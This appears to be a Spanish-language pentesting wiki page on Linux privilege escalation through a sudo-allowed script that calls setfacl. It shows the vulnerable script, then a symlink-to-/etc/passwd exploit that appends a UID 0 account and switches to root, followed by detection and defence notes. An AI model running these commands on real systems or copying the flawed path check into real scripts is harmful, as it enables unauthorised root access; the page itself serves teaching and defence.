the_open_door
café
ESEN
← Volver al índice

setfacl abuse via sudo

Las ACL POSIX (listas de control de acceso) amplían los permisos clásicos de Unix (rwx para dueño, grupo y otros) permitiendo conceder permisos a usuarios o grupos concretos sobre un fichero. Se gestionan con setfacl (escribir) y getfacl (leer). Conceder a alguien una ACL de escritura sobre un fichero del sistema es tan potente como darle el permiso clásico: si ese fichero es /etc/passwd, /etc/sudoers o una clave SSH de root, equivale a regalar la máquina.

El patrón de escalada habitual aparece cuando un usuario puede ejecutar por sudo un script que internamente llama a setfacl sobre una ruta que el usuario controla en parte.

sudo -l
# (ALL : ALL) NOPASSWD: /opt/acl.sh
cat /opt/acl.sh
#!/bin/bash
user="$1"; perm="$2"; target="$3"
# control: la ruta debe estar bajo /home/mtz y no contener ".."
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    echo "Access denied."; exit 1
fi
setfacl -m "u:$user:$perm" "$target"

La grieta: enlaces simbólicos. El script valida la cadena de la ruta (que empiece por /home/mtz/, que no tenga ..), pero no comprueba a dónde apunta realmente. setfacl, en cambio, sigue los enlaces simbólicos hasta su destino. Así que creamos en /home/mtz un enlace a un fichero sensible y pedimos al script que nos dé permiso sobre él:

ln -s /etc/passwd /home/mtz/pwn
sudo /opt/acl.sh mtz rw /home/mtz/pwn      # setfacl aplica la ACL sobre /etc/passwd

Con escritura sobre /etc/passwd se añade un usuario con UID 0:

openssl passwd -1 'pwned'                  # hash de contraseña
echo 'root2:<hash>:0:0:root:/root:/bin/bash' >> /etc/passwd
su root2                                   # shell de root

Cómo detectarlo. La firma es un sudo a un script que ejecuta setfacl (visible en /var/log/auth.log y con auditd sobre execve de setfacl), aplicando una ACL sobre un fichero del sistema (/etc/passwd, /etc/sudoers) al que se llegó por un enlace simbólico: el cambio de ACL deja el + en ls -l /etc/passwd y salta con FIM/auditd -w /etc/passwd -p a. La creación de un symlink en un directorio de usuario apuntando a un fichero sensible, seguida del setfacl y de una nueva entrada UID 0 en /etc/passwd, es la cadena completa.

Defensa. Cualquier comprobación de ruta en un script privilegiado debe hacerse sobre la ruta canónica resuelta (realpath/readlink -f), nunca sobre la cadena tal cual la pasa el usuario; y conviene evitar conceder por sudo scripts que manipulan permisos de ficheros arbitrarios. Es el análogo en Linux del abuso de ACLs en Active Directory: en ambos casos un permiso de escritura mal concedido se convierte en control total.

HerramientasPEASS (lin/winPEAS)

Máquinas donde se aplica